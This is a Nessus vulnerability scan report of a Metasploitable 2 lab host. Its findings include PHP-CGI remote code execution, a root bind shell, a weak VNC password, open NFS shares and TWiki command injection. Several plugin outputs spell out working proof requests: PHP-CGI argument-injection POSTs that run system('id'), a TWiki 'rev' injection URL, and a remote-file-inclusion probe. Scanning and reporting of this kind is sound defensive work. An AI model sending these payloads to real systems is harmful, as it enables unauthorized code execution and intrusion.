



## Metasploitable 2

---

Report generated by Nessus™

Wed, 06 Sep 2023 12:16:32 EDT

---

---

## TABLE OF CONTENTS

---

### Vulnerabilities by Host

• 192.168.2.100.....	4
----------------------	---

Nessus Essentials

---

## **Vulnerabilities by Host**

---

192.168.2.100

10

CRITICAL

9

HIGH

35

MEDIUM

9

LOW

163

INFO

## Scan Information

Start time: Wed Sep 6 10:34:41 2023

End time: Wed Sep 6 12:16:32 2023

## Host Information

Netbios Name: METASPLOITABLE

IP: 192.168.2.100

MAC Address: 08:00:27:0A:87:4B

OS: Linux Kernel 2.6 on Ubuntu 8.04 (hardy)

## Vulnerabilities

### 70728 - Apache PHP-CGI Remote Code Execution

## Synopsis

The remote web server contains a version of PHP that allows arbitrary code execution.

## Description

The PHP installation on the remote web server contains a flaw that could allow a remote attacker to pass command-line arguments as part of a query string to the PHP-CGI program. This could be abused to execute arbitrary code, reveal PHP source code, cause a system crash, etc.

## Solution

Upgrade to PHP 5.3.13 / 5.4.3 or later.

## Risk Factor

High

## CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

## CVSS v3.0 Temporal Score

9.4 (CVSS:3.0/E:H/RL:O/RC:C)

## VPR Score

8.9

## CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

## CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

## References

BID	53388
CVE	CVE-2012-1823
CVE	CVE-2012-2311
CVE	CVE-2012-2335
CVE	CVE-2012-2336
XREF	CERT:520827
XREF	EDB-ID:29290
XREF	EDB-ID:29316
XREF	CISA-KNOWN-EXPLOITED:2022/04/15

## Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

## Plugin Information

Published: 2013/11/01, Modified: 2023/04/25

## Plugin Output

tcp/80/www

Nessus was able to verify the issue exists using the following request :

```
----- snip -----
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
```

```
Host: 192.168.2.100
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
Content-Length: 115
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
<?php echo "Content-Type:text/html\r\n\r\n"; echo 'php_cgi_remote_code_execution-1694014024';
system('id'); die; ?>
----- snip -----
```

## 171340 - Apache Tomcat SEoL (<= 5.5.x)

### Synopsis

An unsupported version of Apache Tomcat is installed on the remote host.

### Description

According to its version, Apache Tomcat is less than or equal to 5.5.x. It is, therefore, no longer maintained by its vendor or provider.

Lack of support implies that no new security patches for the product will be released by the vendor. As a result, it may contain security vulnerabilities.

### See Also

<https://tomcat.apache.org/tomcat-55-eol.html>

### Solution

Upgrade to a version of Apache Tomcat that is currently supported.

### Risk Factor

Critical

### CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### Plugin Information

Published: 2023/02/10, Modified: 2023/06/13

### Plugin Output

tcp/8180/www

```
URL : http://192.168.2.100:8180/
Installed version : 5.5
Security End of Life : September 30, 2012
Time since Security End of Life (Est.) : >= 10 years
```

## 51988 - Bind Shell Backdoor Detection

### Synopsis

The remote host may have been compromised.

### Description

A shell is listening on the remote port without any authentication being required. An attacker may use it by connecting to the remote port and sending commands directly.

### Solution

Verify if the remote host has been compromised, and reinstall the system if necessary.

### Risk Factor

Critical

### CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### Plugin Information

Published: 2011/02/15, Modified: 2022/04/11

### Plugin Output

tcp/1524/wild\_shell

```
Nessus was able to execute the command "id" using the
following request :
```

```
This produced the following truncated output (limited to 10 lines) :
----- snip -----
root@metasploitable:/# uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:/#
----- snip -----
```



## 32314 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness

### Synopsis

The remote SSH host keys are weak.

### Description

The remote SSH host key has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to set up decipher the remote session or set up a man in the middle attack.

### See Also

<http://www.nessus.org/u?107f9bdc>

<http://www.nessus.org/u?f14f4224>

### Solution

Consider all cryptographic material generated on the remote host to be guessable. In particular, all SSH, SSL and OpenVPN key material should be re-generated.

### Risk Factor

Critical

### VPR Score

7.4

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

### References

BID	29179
CVE	CVE-2008-0166
XREF	CWE:310

Exploitable With

---

Core Impact (true)

Plugin Information

---

Published: 2008/05/14, Modified: 2018/11/15

Plugin Output

---

tcp/22/ssh

## 32321 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)

### Synopsis

The remote SSL certificate uses a weak key.

### Description

The remote x509 certificate on the remote SSL server has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to decipher the remote session or set up a man in the middle attack.

### See Also

<http://www.nessus.org/u?107f9bdc>

<http://www.nessus.org/u?f14f4224>

### Solution

Consider all cryptographic material generated on the remote host to be guessable. In particular, all SSH, SSL and OpenVPN key material should be re-generated.

### Risk Factor

Critical

### VPR Score

7.4

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

### References

BID	29179
CVE	CVE-2008-0166
XREF	CWE:310

Exploitable With

---

Core Impact (true)

Plugin Information

---

Published: 2008/05/15, Modified: 2020/11/16

Plugin Output

---

tcp/25/smtp

## 32321 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)

### Synopsis

The remote SSL certificate uses a weak key.

### Description

The remote x509 certificate on the remote SSL server has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to decipher the remote session or set up a man in the middle attack.

### See Also

<http://www.nessus.org/u?107f9bdc>

<http://www.nessus.org/u?f14f4224>

### Solution

Consider all cryptographic material generated on the remote host to be guessable. In particular, all SSH, SSL and OpenVPN key material should be re-generated.

### Risk Factor

Critical

### VPR Score

7.4

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

### References

BID	29179
CVE	CVE-2008-0166
XREF	CWE:310

Exploitable With

---

Core Impact (true)

Plugin Information

---

Published: 2008/05/15, Modified: 2020/11/16

Plugin Output

---

tcp/5432/postgresql

## 11356 - NFS Exported Share Information Disclosure

### Synopsis

It is possible to access NFS shares on the remote host.

### Description

At least one of the NFS shares exported by the remote server could be mounted by the scanning host. An attacker may be able to leverage this to read (and possibly write) files on remote host.

### Solution

Configure NFS on the remote host so that only authorized hosts can mount its remote shares.

### Risk Factor

Critical

### VPR Score

5.9

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### References

CVE	CVE-1999-0170
CVE	CVE-1999-0211
CVE	CVE-1999-0554

### Exploitable With

Metasploit (true)

### Plugin Information

Published: 2003/03/12, Modified: 2023/08/30

### Plugin Output

udp/2049/rpc-nfs

```
The following NFS shares could be mounted :  
  
+ /
```

+ Contents of / :

- .
- ..
- bin
- boot
- cdrom
- dev
- etc
- home
- initrd
- initrd.img
- lib
- lost+found
- media
- mnt
- nohup.out
- opt
- proc
- root
- sbin
- srv
- sys
- tmp
- usr
- var
- vmlinuz



## 33850 - Unix Operating System Unsupported Version Detection

### Synopsis

The operating system running on the remote host is no longer supported.

### Description

According to its self-reported version number, the Unix operating system running on the remote host is no longer supported.

Lack of support implies that no new security patches for the product will be released by the vendor. As a result, it is likely to contain security vulnerabilities.

### Solution

Upgrade to a version of the Unix operating system that is currently supported.

### Risk Factor

Critical

### CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### References

XREF	IAVA:0001-A-0502
XREF	IAVA:0001-A-0648

### Plugin Information

Published: 2008/08/08, Modified: 2023/07/07

### Plugin Output

tcp/0

```
Ubuntu 8.04 support ended on 2011-05-12 (Desktop) / 2013-05-09 (Server).  
Upgrade to Ubuntu 21.04 / LTS 20.04 / LTS 18.04.
```

```
For more information, see : https://wiki.ubuntu.com/Releases
```

## 61708 - VNC Server 'password' Password

### Synopsis

A VNC server running on the remote host is secured with a weak password.

### Description

The VNC server running on the remote host is secured with a weak password. Nessus was able to login using VNC authentication and a password of 'password'. A remote, unauthenticated attacker could exploit this to take control of the system.

### Solution

Secure the VNC service with a strong password.

### Risk Factor

Critical

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### Plugin Information

Published: 2012/08/29, Modified: 2015/09/24

### Plugin Output

tcp/5900/vnc

```
Nessus logged in using a password of "password".
```

## 125855 - phpMyAdmin prior to 4.8.6 SQLi vulnerability (PMASA-2019-3)

### Synopsis

The remote web server hosts a PHP application that is affected by SQLi vulnerability.

### Description

According to its self-reported version number, the phpMyAdmin application hosted on the remote web server is prior to 4.8.6. It is, therefore, affected by a SQL injection (SQLi) vulnerability that exists in designer feature of phpMyAdmin. An unauthenticated, remote attacker can exploit this to inject or manipulate SQL queries in the back-end database, resulting in the disclosure or manipulation of arbitrary data.

Note that Nessus has not attempted to exploit these issues but has instead relied only on the application's self-reported version number.

### See Also

<http://www.nessus.org/u?c9d7fc8c>

### Solution

Upgrade to phpMyAdmin version 4.8.6 or later.

Alternatively, apply the patches referenced in the vendor advisories.

### Risk Factor

High

### CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

### CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

### VPR Score

5.9

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

## References

---

BID	108617
CVE	CVE-2019-11768

## Plugin Information

---

Published: 2019/06/13, Modified: 2022/04/11

## Plugin Output

---

tcp/80/www

```
URL          : http://192.168.2.100/phpMyAdmin
Installed version : 3.1.1
Fixed version  : 4.8.6
```

## 39465 - CGI Generic Command Execution

### Synopsis

---

Arbitrary code may be run on the remote server.

### Description

---

The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to execute arbitrary commands on the remote host.

### See Also

---

[https://en.wikipedia.org/wiki/Code\\_injection](https://en.wikipedia.org/wiki/Code_injection)

<http://projects.webappsec.org/w/page/13246950/OS%20Commanding>

### Solution

---

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade to address command execution flaws.

### Risk Factor

---

High

### CVSS v2.0 Base Score

---

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### References

---

XREF	CWE:20
XREF	CWE:74
XREF	CWE:77
XREF	CWE:78
XREF	CWE:713
XREF	CWE:722
XREF	CWE:727
XREF	CWE:741
XREF	CWE:751
XREF	CWE:801
XREF	CWE:928
XREF	CWE:929

### Plugin Information

---

## Plugin Output

---

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to arbitrary command execution :

+ The 'topic' parameter of the /twiki/bin/view/Main/WebHome CGI :

/twiki/bin/view/Main/WebHome?topic=echo%20NeS%20%20SuS

----- output -----
<body bgcolor="#ffffff">
<a name="PageTop"></a>
<form name="main" action="/twiki/bin/view/Main/echo%20NeS%20SuS">
<table width="100%" border="0" cellpadding="3" cellspacing="0">
<tr>
-----

Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)

http://192.168.2.100/twiki/bin/view/Main/WebHome?topic=echo%20NeS%20%20SuS
```

## 39469 - CGI Generic Remote File Inclusion

### Synopsis

Arbitrary code may be run on the remote server.

### Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to include a remote file from a remote server and execute arbitrary commands on the target host.

### See Also

[https://en.wikipedia.org/wiki/Remote\\_File\\_Inclusion](https://en.wikipedia.org/wiki/Remote_File_Inclusion)

<http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion>

### Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

### Risk Factor

High

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### References

XREF	CWE:73
XREF	CWE:78
XREF	CWE:98
XREF	CWE:434
XREF	CWE:473
XREF	CWE:632
XREF	CWE:714
XREF	CWE:727
XREF	CWE:801
XREF	CWE:928
XREF	CWE:929

### Plugin Information

Published: 2009/06/19, Modified: 2021/01/19

## Plugin Output

tcp/80/www

Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to web code injection :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=http://ZpDHCqe1.example.com/

----- output -----

```
<b>Warning</b>: include() [<a href='function.include'>function.in [...]  
<br />  
<b>Warning</b>: include(http://ZpDHCqe1.example.com/) [<a href='functio  
n.include'>function.include</a>]: failed to open stream: no suitable wra  
pper could be found in <b>/var/www/mutillidae/index.php</b> on line <b>4  
69</b><br />  
<br />  
<b>Warning</b>: include() [<a href='function.include'>function.in [...]  
-----
```

+ The 'page' parameter of the /mutillidae/index.php CGI :

/mutillidae/index.php?page=http://ZpDHCqe1.example.com/

----- output -----

```
<b>Warning</b>: include() [<a href='function.include'>function.in [...]  
<br />  
<b>Warning</b>: include(http://ZpDHCqe1.example.com/) [<a href='functio  
n.include'>function.include</a>]: failed to open stream: no suitable wra  
pper could be found in <b>/var/www/mutillidae/index.php</b> on line <b>4  
69</b><br />  
<br />  
<b>Warning</b>: include() [<a href='function.include'>function.in [...]  
-----
```

Clicking directly on these URLs should exhibit the issue :  
(you will probably need to read the HTML source)

http://192.168.2.100/mutillidae/?page=http://ZpDHCqe1.example.com/  
http://192.168.2.100/mutillidae/index.php?page=http://ZpDHCqe1.example.com/

Using the POST HTTP method, Nessus found that :

+ The following resources may be vulnerable to web code injection :

/mutillidae/index.php [do=toggle-hints&page=http://ZpDHCqe1.example.com/  
&username=anonymous]

----- output -----

```
<b>Warning</b>: include() [<a href='function.include'>function.in [...]  
<br />  
<b>Warning</b>: include(http://ZpDHCqe1.example.com/) [<a href='functio  
n.include'>function.include</a>]: failed to open stream: no suitable wra  
pper could be found in <b>/var/www/mutillidae/index.php</b> on line <b>4  
69</b><br />  
<br />  
<b>Warning</b>: inc [...]
```



## 42424 - CGI Generic SQL Injection (blind)

### Synopsis

A CGI application hosted on the remote web server is potentially prone to SQL injection attack.

### Description

By sending specially crafted parameters to one or more CGI scripts hosted on the remote web server, Nessus was able to get a very different response, which suggests that it may have been able to modify the behavior of the application and directly access the underlying database.

An attacker may be able to exploit this issue to bypass authentication, read confidential data, modify the remote database, or even take control of the remote operating system.

Note that this script is experimental and may be prone to false positives.

### See Also

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>

<http://www.nessus.org/u?ed792cf5>

<http://www.nessus.org/u?11ab1866>

### Solution

Modify the affected CGI scripts so that they properly escape arguments.

### Risk Factor

High

### CVSS v3.0 Base Score

8.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L)

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### References

XREF	CWE:20
XREF	CWE:77
XREF	CWE:89
XREF	CWE:91
XREF	CWE:203
XREF	CWE:643
XREF	CWE:713

XREF	CWE:722
XREF	CWE:727
XREF	CWE:751
XREF	CWE:801
XREF	CWE:810
XREF	CWE:928
XREF	CWE:929

## Plugin Information

---

Published: 2009/11/06, Modified: 2022/10/28

## Plugin Output

---

tcp/80/www

```
Using the POST HTTP method, Nessus found that :

+ The following resources may be vulnerable to blind SQL injection :

+ The 'page' parameter of the /mutillidae/index.php CGI :

/mutillidae/index.php [username=anonymous&do=toggle-hints&page=home.phpz
zanonymous&do=toggle-hints&page=home.phpyy]

----- output -----
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=home.php">Toggle Hint
s</a></td><td><a href="./index.php?do=toggle-security&page=home.php
">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
----- vs -----
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=home.phpyy">Toggle Hi
nts</a></td><td><a href="./index.php?do=toggle-security&page=home.p
hpyy">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
-----

/mutillidae/index.php [username=anonymous&do=toggle-hints&page=home.phpz
zanonymous&do=toggle-hints&page=home.phpyy] {2}

----- output -----
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=home.php">Toggle Hint
s</a></td><td><a href="./index.php?do=toggle-security&page=home.php
">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
----- vs -----
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=home.phpyy">Toggle Hi
nts</a></td><td><a href="./index.php?do=toggle-security&page=home.p
hpyy">Toggle Security</a></td>
```

```
<td><a href="set-up-database.php">Reset DB</a></td>  
<td><a href="./index.php?page=show-log.php">View Log</a></td>  
----- [...]
```

## 136769 - ISC BIND Service Downgrade / Reflected DoS

### Synopsis

The remote name server is affected by Service Downgrade / Reflected DoS vulnerabilities.

### Description

According to its self-reported version, the instance of ISC BIND 9 running on the remote name server is affected by performance downgrade and Reflected DoS vulnerabilities. This is due to BIND DNS not sufficiently limiting the number fetches which may be performed while processing a referral response.

An unauthenticated, remote attacker can exploit this to cause degrade the service of the recursive server or to use the affected server as a reflector in a reflection attack.

### See Also

<https://kb.isc.org/docs/cve-2020-8616>

### Solution

Upgrade to the ISC BIND version referenced in the vendor advisory.

### Risk Factor

Medium

### CVSS v3.0 Base Score

8.6 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H)

### CVSS v3.0 Temporal Score

7.5 (CVSS:3.0/E:U/RL:O/RC:C)

### VPR Score

5.2

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

### STIG Severity

I

## References

---

CVE	CVE-2020-8616
XREF	IAVA:2020-A-0217-S

## Plugin Information

---

Published: 2020/05/22, Modified: 2020/06/26

## Plugin Output

---

udp/53/dns

```
Installed version : 9.4.2
Fixed version    : 9.11.19
```

## 42256 - NFS Shares World Readable

### Synopsis

The remote NFS server exports world-readable shares.

### Description

The remote NFS server is exporting one or more shares without restricting access (based on hostname, IP, or IP range).

### See Also

<http://www.tldp.org/HOWTO/NFS-HOWTO/security.html>

### Solution

Place the appropriate restrictions on all NFS shares.

### Risk Factor

Medium

### CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

### Plugin Information

Published: 2009/10/26, Modified: 2020/05/05

### Plugin Output

tcp/2049/rpc-nfs

```
The following shares have no access restrictions :
```

```
/ *
```

## 59088 - PHP PHP-CGI Query String Parameter Injection Arbitrary Code Execution

### Synopsis

The remote web server contains a version of PHP that allows arbitrary code execution.

### Description

The PHP installation on the remote web server contains a flaw that could allow a remote attacker to pass command-line arguments as part of a query string to the PHP-CGI program. This could be abused to execute arbitrary code, reveal PHP source code, cause a system crash, etc.

### See Also

<http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/>

<http://www.php.net/archive/2012.php#id2012-05-08-1>

<http://www.php.net/ChangeLog-5.php#5.3.13>

<http://www.php.net/ChangeLog-5.php#5.4.3>

<http://www.nessus.org/u?80589ce8>

<https://www-304.ibm.com/support/docview.wss?uid=swg21620314>

### Solution

If using Lotus Foundations, upgrade the Lotus Foundations operating system to version 1.2.2b or later.

Otherwise, upgrade to PHP 5.3.13 / 5.4.3 or later.

### Risk Factor

High

### VPR Score

8.9

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

### References

BID 53388

CVE CVE-2012-1823

CVE CVE-2012-2311  
XREF CERT:520827  
XREF EDB-ID:18834  
XREF CISA-KNOWN-EXPLOITED:2022/04/15

## Exploitable With

---

CANVAS (true) Core Impact (true) Metasploit (true)

## Plugin Information

---

Published: 2012/05/14, Modified: 2022/03/28

## Plugin Output

---

tcp/80/www

Nessus was able to verify the issue exists using the following request :

```
----- snip -----  
POST /dvwa/dvwa/includes/DBMS/DBMS.php?-d+allow_url_include%3don+-d+safe_mode%3doff+-d  
+suhosin.simulation%3don+-d+open_basedir%3doff+-d+auto_prepend_file%3dphp%3a//input+-n HTTP/1.1  
Host: 192.168.2.100  
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1  
Accept-Language: en  
Content-Type: application/x-www-form-urlencoded  
Connection: Keep-Alive  
Content-Length: 82  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)  
Pragma: no-cache  
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*  
<?php echo 'php_cgi_query_string_code_execution-1694014024'; system('id'); die; ?>  
----- snip -----
```



## 90509 - Samba Badlock Vulnerability

### Synopsis

An SMB server running on the remote host is affected by the Badlock vulnerability.

### Description

The version of Samba, a CIFS/SMB server for Linux and Unix, running on the remote host is affected by a flaw, known as Badlock, that exists in the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) protocols due to improper authentication level negotiation over Remote Procedure Call (RPC) channels. A man-in-the-middle attacker who is able to intercept the traffic between a client and a server hosting a SAM database can exploit this flaw to force a downgrade of the authentication level, which allows the execution of arbitrary Samba network calls in the context of the intercepted user, such as viewing or modifying sensitive security data in the Active Directory (AD) database or disabling critical services.

### See Also

<http://badlock.org>

<https://www.samba.org/samba/security/CVE-2016-2118.html>

### Solution

Upgrade to Samba version 4.2.11 / 4.3.8 / 4.4.2 or later.

### Risk Factor

Medium

### CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H)

### CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

### VPR Score

6.7

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

## References

---

BID	86002
CVE	CVE-2016-2118
XREF	CERT:813296

## Plugin Information

---

Published: 2016/04/13, Modified: 2019/11/20

## Plugin Output

---

tcp/445/cifs

```
Nessus detected that the Samba Badlock patch has not been applied.
```

## 19704 - TWiki 'rev' Parameter Arbitrary Command Execution

### Synopsis

The remote web server hosts a CGI application that is affected by an arbitrary command execution vulnerability.

### Description

The version of TWiki running on the remote host allows an attacker to manipulate input to the 'rev' parameter in order to execute arbitrary shell commands on the remote host subject to the privileges of the web server user id.

### See Also

<http://www.nessus.org/u?c70904f3>

### Solution

Apply the appropriate hotfix referenced in the vendor advisory.

### Risk Factor

High

### CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

### CVSS v3.0 Temporal Score

8.2 (CVSS:3.0/E:F/RL:O/RC:C)

### VPR Score

7.4

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

6.2 (CVSS2#E:F/RL:OF/RC:C)

### References

BID 14834

CVE CVE-2005-2877

## Exploitable With

---

Metasploit (true)

## Plugin Information

---

Published: 2005/09/15, Modified: 2022/04/11

## Plugin Output

---

tcp/80/www

```
Nessus was able to execute the command "id" using the
following request :
```

```
http://192.168.2.100/twiki/bin/view/Main/TWikiUsers?rev=2%20%7cid%7c%7cecho%20
```

```
This produced the following truncated output (limited to 2 lines) :
```

```
----- snip -----
```

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```
----- snip -----
```

## 36171 - phpMyAdmin Setup Script Configuration Parameters Arbitrary PHP Code Injection (PMASA-2009-4)

### Synopsis

The remote web server contains a PHP application that is affected by a code execution vulnerability.

### Description

The setup script included with the version of phpMyAdmin installed on the remote host does not properly sanitize user-supplied input before using it to generate a config file for the application. This version is affected by the following vulnerabilities :

- The setup script inserts the unsanitized verbose server name into a C-style comment during config file generation.
- An attacker can save arbitrary data to the generated config file by altering the value of the 'textconfig' parameter during a POST request to config.php.

An unauthenticated, remote attacker can exploit these issues to execute arbitrary PHP code.

### See Also

<https://www.tenable.com/security/research/tra-2009-02>

[http://www.phpmyadmin.net/home\\_page/security/PMASA-2009-4.php](http://www.phpmyadmin.net/home_page/security/PMASA-2009-4.php)

### Solution

Upgrade to phpMyAdmin 3.1.3.2. Alternatively, apply the patches referenced in the project's advisory.

### Risk Factor

High

### VPR Score

6.7

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

### References

BID 34526

CVE	CVE-2009-1285
XREF	TRA:TRA-2009-02
XREF	SECUNIA:34727
XREF	CWE:94

#### Plugin Information

---

Published: 2009/04/16, Modified: 2022/04/11

#### Plugin Output

---

tcp/80/www